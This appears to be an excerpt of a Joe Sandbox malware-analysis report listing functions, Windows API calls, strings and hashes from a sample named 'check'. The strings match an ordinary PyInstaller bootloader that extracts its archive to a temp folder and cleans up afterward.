FindFirstFileW.KERNELBASE(?,00007FF61C4C8919,00007FF61C4C3FA5), ref: 00007FF61C4C842B
RemoveDirectoryW.KERNEL32(?,00007FF61C4C8919,00007FF61C4C3FA5), ref: 00007FF61C4C84AE
DeleteFileW.KERNELBASE(?,00007FF61C4C8919,00007FF61C4C3FA5), ref: 00007FF61C4C84CD
FindNextFileW.KERNELBASE(?,00007FF61C4C8919,00007FF61C4C3FA5), ref: 00007FF61C4C84DB
FindClose.KERNEL32(?,00007FF61C4C8919,00007FF61C4C3FA5), ref: 00007FF61C4C84EC
RemoveDirectoryW.KERNELBASE(?,00007FF61C4C8919,00007FF61C4C3FA5), ref: 00007FF61C4C84F5

Strings

%s\*, xrefs: 00007FF61C4C83F2

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: e09107da8d6673be891a46543fa6ff1a0a1ad174999bfabcb22888722ea6746c
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: 66413F21A0CE4295FB20DB65E4441FE6361FB94FB8F610232D99DC3AA4EF3CD5698748

Function 00007FF61C4E5E7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF61C4E5EAA

Part of subcall function 00007FF61C4E55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E560C

_get_daylight.LIBCMT ref: 00007FF61C4E5EBB

Part of subcall function 00007FF61C4E5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E55AC

_get_daylight.LIBCMT ref: 00007FF61C4E5ECC

Part of subcall function 00007FF61C4E55C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4E55DC

Part of subcall function 00007FF61C4DA948: RtlFreeHeap.NTDLL(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA95E
Part of subcall function 00007FF61C4DA948: GetLastError.KERNEL32(?,?,?,00007FF61C4E2D22,?,?,?,00007FF61C4E2D5F,?,?,00000000,00007FF61C4E3225,?,?,?,00007FF61C4E3157), ref: 00007FF61C4DA968

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF61C4E610C), ref: 00007FF61C4E5EF3

Strings

Eastern Standard Time, xrefs: 00007FF61C4E5F99
Eastern Summer Time, xrefs: 00007FF61C4E5FB1

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 32f11b55b402a8987122830ca2dc8c03aa5e97bb6b5c4996ea1f9022f456a877
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: E2517132A1CA4286E720DF26D8815ED6761BF48FACF624135EA4DC7696EF3CE420C740

Function 00007FF61C4C9280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF61C4C92B3
FindClose.KERNELBASE ref: 00007FF61C4C92C2

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: c02e58ddd038194b63f2850303fd79ae25885561a0be0053beb24c80583d4d21
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 1DF0CD26A1CB8286F7608B54B4847AE7350AB84B7DF140735D9AD41AD4DF3CD05DC708

Function 00007FF61C4E08C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction ID: 2313591bafdb48c0b47c3603ff498e02b832261afe292def568e5d54f7fd369b
Opcode Fuzzy Hash: 537422541fbed36a77ddee3a41e978a3695e14332b64c7d8d0a2d6c09592a1ae
Instruction Fuzzy Hash: DD02AC21B1DE4640FA65EB1298012FD2784AF51FB8F764A35EE6DC63D2DE7CA471A300

Function 00007FF61C4C1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF61C4C7F90: _fread_nolock.LIBCMT ref: 00007FF61C4C803A

_fread_nolock.LIBCMT ref: 00007FF61C4C1A1B

Part of subcall function 00007FF61C4C2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF61C4C1B6A), ref: 00007FF61C4C295E

Strings

MEI, xrefs: 00007FF61C4C1991
Error on file., xrefs: 00007FF61C4C1B8D
Could not read full TOC!, xrefs: 00007FF61C4C1B55
calloc, xrefs: 00007FF61C4C1A68
Failed to read cookie!, xrefs: 00007FF61C4C1A2B
Could not allocate buffer for TOC!, xrefs: 00007FF61C4C1B1B
Could not allocate memory for archive structure!, xrefs: 00007FF61C4C1A61
fseek, xrefs: 00007FF61C4C19F5
fread, xrefs: 00007FF61C4C1A32, 00007FF61C4C1B5C
malloc, xrefs: 00007FF61C4C1B22
Failed to seek to cookie position!, xrefs: 00007FF61C4C19EE

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 75df882cb69919a76d97c614361eef51b2ec2ab8d5059f73c2ac4bb1c74e6529
Instruction ID: eb9c83181fee32ec6886fb30d4acd353738fe8b29db46e8e6d1995494f7251d0
Opcode Fuzzy Hash: 75df882cb69919a76d97c614361eef51b2ec2ab8d5059f73c2ac4bb1c74e6529
Instruction Fuzzy Hash: 0181B471A0CE8286EB20DB65D0403FD23A0EF54FA8F604435E98DD7BA6DE3CE5698754

Function 00007FF61C4C1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF61C4C1742
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF61C4C17DF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF61C4C16DA
fseek, xrefs: 00007FF61C4C16E1
fwrite, xrefs: 00007FF61C4C17D1
Failed to extract %s: failed to open target file!, xrefs: 00007FF61C4C165C
fread, xrefs: 00007FF61C4C17E6
malloc, xrefs: 00007FF61C4C1749
Failed to create symbolic link %s!, xrefs: 00007FF61C4C1622
fopen, xrefs: 00007FF61C4C1663
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF61C4C17CA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF61C4C16A2

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: d7e5a8d788c56064f5ee056adac7b7af7416d0cf868ad80b96a324f46d3978b4
Instruction ID: 81adad9b10e2ae11dba55c179384ded4157b0f20a98bc5b15432f75e90bfe727
Opcode Fuzzy Hash: d7e5a8d788c56064f5ee056adac7b7af7416d0cf868ad80b96a324f46d3978b4
Instruction Fuzzy Hash: CD517B21B0CE4292EB11AB5294401FD63A0BF44FBCF644531EE4C87BA6DE3CE5798718

Function 00007FF61C4C8660 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF61C4C3CBB), ref: 00007FF61C4C8704
GetCurrentProcessId.KERNEL32(?,00000000,00007FF61C4C3CBB), ref: 00007FF61C4C870A
CreateDirectoryW.KERNELBASE(?,00000000,00007FF61C4C3CBB), ref: 00007FF61C4C874C

Part of subcall function 00007FF61C4C8830: GetEnvironmentVariableW.KERNEL32(00007FF61C4C388E), ref: 00007FF61C4C8867
Part of subcall function 00007FF61C4C8830: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF61C4C8889

Part of subcall function 00007FF61C4D8238: _invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4D8251

Part of subcall function 00007FF61C4C2810: MessageBoxW.USER32 ref: 00007FF61C4C28EA

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF61C4C877E
_MEI%d, xrefs: 00007FF61C4C8712
LOADER: failed to set the TMP environment variable., xrefs: 00007FF61C4C86DC
TMP, xrefs: 00007FF61C4C86C2
TMP, xrefs: 00007FF61C4C869C, 00007FF61C4C87A3

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: ff43c7496bf487fa05230e2032aee36c116cdb1af4c996ce44b4a0b560980b41
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: A4418E21A1DE4244FB20E76698552FE1390AF94FF8FA04135ED0DC77AAEE3CE5298345

Function 00007FF61C4C1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF61C4C12EF
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF61C4C12BA
1.3.1, xrefs: 00007FF61C4C1249
malloc, xrefs: 00007FF61C4C12C1, 00007FF61C4C12F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF61C4C141E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF61C4C1276

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction ID: d5c813f921e08106ea907db91e47bd3c50698df4aeb13d11ee567db6858c1cfa
Opcode Fuzzy Hash: 8f2f3123d1cabff2ad8e3db6a95d4b235f7cad2490955ba460222a7cf36d71df
Instruction Fuzzy Hash: 1C51A422A0CE4285EB21AB52A4403FE6290AF45FACF644135ED4DC7BE5EE3CD569C704

Function 00007FF61C4DED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF61C4DF0AA,?,?,-00000018,00007FF61C4DAD53,?,?,?,00007FF61C4DAC4A,?,?,?,00007FF61C4D5F3E), ref: 00007FF61C4DEE8C
GetProcAddress.KERNEL32(?,?,?,00007FF61C4DF0AA,?,?,-00000018,00007FF61C4DAD53,?,?,?,00007FF61C4DAC4A,?,?,?,00007FF61C4D5F3E), ref: 00007FF61C4DEE98

Strings

ext-ms-, xrefs: 00007FF61C4DEDE9
api-ms-, xrefs: 00007FF61C4DEDD6

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 925cdc2f79594e7fd738adbfa01d116a49a295f775e0a8fe575db0e4b928df90
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: 0641D021B1DE1246EB25EB16A8006FD22A1BF59FB8FA94535DD1DC7784EE3CE425C304

Function 00007FF61C4C36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF61C4C3804), ref: 00007FF61C4C36E1
GetLastError.KERNEL32(?,00007FF61C4C3804), ref: 00007FF61C4C36EB

Part of subcall function 00007FF61C4C2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF61C4C3706,?,00007FF61C4C3804), ref: 00007FF61C4C2C9E
Part of subcall function 00007FF61C4C2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF61C4C3706,?,00007FF61C4C3804), ref: 00007FF61C4C2D63
Part of subcall function 00007FF61C4C2C50: MessageBoxW.USER32 ref: 00007FF61C4C2D99

Strings

\\?\, xrefs: 00007FF61C4C375A
GetModuleFileNameW, xrefs: 00007FF61C4C36FA
Failed to resolve full path to executable %ls., xrefs: 00007FF61C4C3739
Failed to convert executable path to UTF-8., xrefs: 00007FF61C4C3790
Failed to obtain executable path., xrefs: 00007FF61C4C36F3

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: da6c126d10d63a3a1a9e760623e692c2fc70858e753d9d9459690a1164fd0f82
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 39217E61F1CE4291FB209725E8003FE2250BF98F6CF604232D55EC25E5EE2CE628C708

Function 00007FF61C4DBA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF61C4DBE89

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction ID: e5e615204dc23b35bc7cb4decd24e3541a1661ce3b0880a3e6806e88d58a410b
Opcode Fuzzy Hash: 1c0df5e74df0118619baac061aee596465bcef498cfc928fc9eaa168a483e3b3
Instruction Fuzzy Hash: 73C1D432A0CF8791E761AB1594402FD3B90FBA5FA8F754135EA8E83B91CE7CE4658710

Function 00007FF61C4C8570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF61C4C8590
OpenProcessToken.ADVAPI32 ref: 00007FF61C4C85A3
GetTokenInformation.KERNELBASE ref: 00007FF61C4C85C8
GetLastError.KERNEL32 ref: 00007FF61C4C85D2
GetTokenInformation.KERNELBASE ref: 00007FF61C4C8612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF61C4C862E
CloseHandle.KERNELBASE ref: 00007FF61C4C8646

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: 4ee26dbc283fbf195f68c6364771291052841867f364e49bf9b422081a456e14
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: CA212131B0CE4242EB509B55B5442BEA3A0EF85BB8F600235EA6D83AE4DE7CD4598704

Function 00007FF61C4C90E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF61C4C8570: GetCurrentProcess.KERNEL32 ref: 00007FF61C4C8590
Part of subcall function 00007FF61C4C8570: OpenProcessToken.ADVAPI32 ref: 00007FF61C4C85A3
Part of subcall function 00007FF61C4C8570: GetTokenInformation.KERNELBASE ref: 00007FF61C4C85C8
Part of subcall function 00007FF61C4C8570: GetLastError.KERNEL32 ref: 00007FF61C4C85D2
Part of subcall function 00007FF61C4C8570: GetTokenInformation.KERNELBASE ref: 00007FF61C4C8612
Part of subcall function 00007FF61C4C8570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF61C4C862E
Part of subcall function 00007FF61C4C8570: CloseHandle.KERNELBASE ref: 00007FF61C4C8646

LocalFree.KERNEL32(?,00007FF61C4C3C55), ref: 00007FF61C4C916C
LocalFree.KERNEL32(?,00007FF61C4C3C55), ref: 00007FF61C4C9175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF61C4C9183
D:(A;;FA;;;%s), xrefs: 00007FF61C4C9157
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF61C4C9142
S-1-3-4, xrefs: 00007FF61C4C9121

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C502000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1955692691.00007FF61C504000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff61c4c0000_check.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 865d9b589f9a2314f8842170261ca1b440d648c0de69d2c24c6db8932015c7ac
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: 32216F21A0CE8291F710AB11E4152EE6360EF98BA8F654035EA4D83BA6DF3CD9298744

Function 00007FF61C4C7E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF61C4C352C,?,00000000,00007FF61C4C3F23), ref: 00007FF61C4C7F32

Strings

%.*s, xrefs: 00007FF61C4C7EEB
\, xrefs: 00007FF61C4C7E97
%s%c, xrefs: 00007FF61C4C7EA4

Memory Dump Source

Source File: 00000009.00000002.1953251096.00007FF61C4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF61C4C0000, based on PE: true

Associated: 00000009.00000002.1952218650.00007FF61C4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1953846907.00007FF61C4EB000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.1954414409.00007FF61C4FE000.00000004.00000001.01000000.00000009.sdmpDownload File
